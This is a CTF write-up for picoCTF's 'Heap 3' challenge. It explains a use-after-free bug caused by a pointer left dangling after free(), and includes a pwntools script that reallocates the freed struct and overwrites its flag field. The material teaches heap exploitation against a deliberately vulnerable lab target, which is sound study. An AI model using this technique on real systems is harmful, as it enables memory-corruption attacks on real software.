heap3
⚒️ Heap 3
| Category | Author |
|---|---|
| ⚒️ Binary Exploitation | Abrxs |
Challenge Prompt
This program mishandles memory. Can you exploit it to get the flag?
Download the binary here.
Download the source here.
Problem Type
- Use After Free
Solve
We are given the program source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
// Create struct
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
int num_allocs;
object *x;
void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
// code removed for brevity
void free_memory() {
free(x);
}
// code removed for brevity
In this program we are given the code wrote in C. We can see in the function free_memory has a call for free(x).
When a programmer calls free(x), they are telling the computer, “I am done with this memory, you can have it back.”
However, notice what it doesn’t do: it doesn’t set x = NULL;.
Because x wasn’t cleared, x still points to that exact spot in memory. This is called a Dangling Pointer.
If we select Option 5, the memory is freed, but the program will still happily use x to check for the win condition in Option 4!
We need to set the value of x, currently bico, to pico to get the flag. To do that we need to know exactly how far into the struct the flag variable sits. Let’s look at the struct definition:
1
2
3
4
5
6
typedef struct {
char a[10]; // 10 Bytes
char b[10]; // 10 Bytes (20 total so far)
char c[10]; // 10 Bytes (30 total so far)
char flag[5]; // 5 Bytes (35 total)
}
The flag variable starts exactly 30 bytes into the struct and the total size of the struct is 35 bytes. So we need to send 30 junk characters like A followed by pico.
We can do this manually by picking option 5 to free x, then we pick 2 to allocate our object. For the size we use 35, the length of the struct we figured out earlier.
Then we can simply send 30 A characters (filling up the 30 bytes before the flag variable) and then pico (AAAAAAAAAAAAAAAAAAAAAAAAAAAAApico) to the program.
Then choose option 4 to check for win and get the flag!
I also wanted to get some more practice with pwntools so I decided to try that too:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
HOST = 'tethys.picoctf.net'
PORT = 59648
p = remote(HOST, PORT)
p.recvuntil(b'Enter your choice: ')
p.sendline(b"5")
p.recvuntil(b'Enter your choice: ')
p.sendline(b"2")
p.recvuntil(b'Size of object allocation: ')
p.sendline(b"35")
p.recvuntil(b'Data for flag: ')
p.sendline(b"A" * 30 + b"pico")
p.recvuntil(b'Enter your choice: ')
p.sendline(b"4")
print(p.recvall().decode())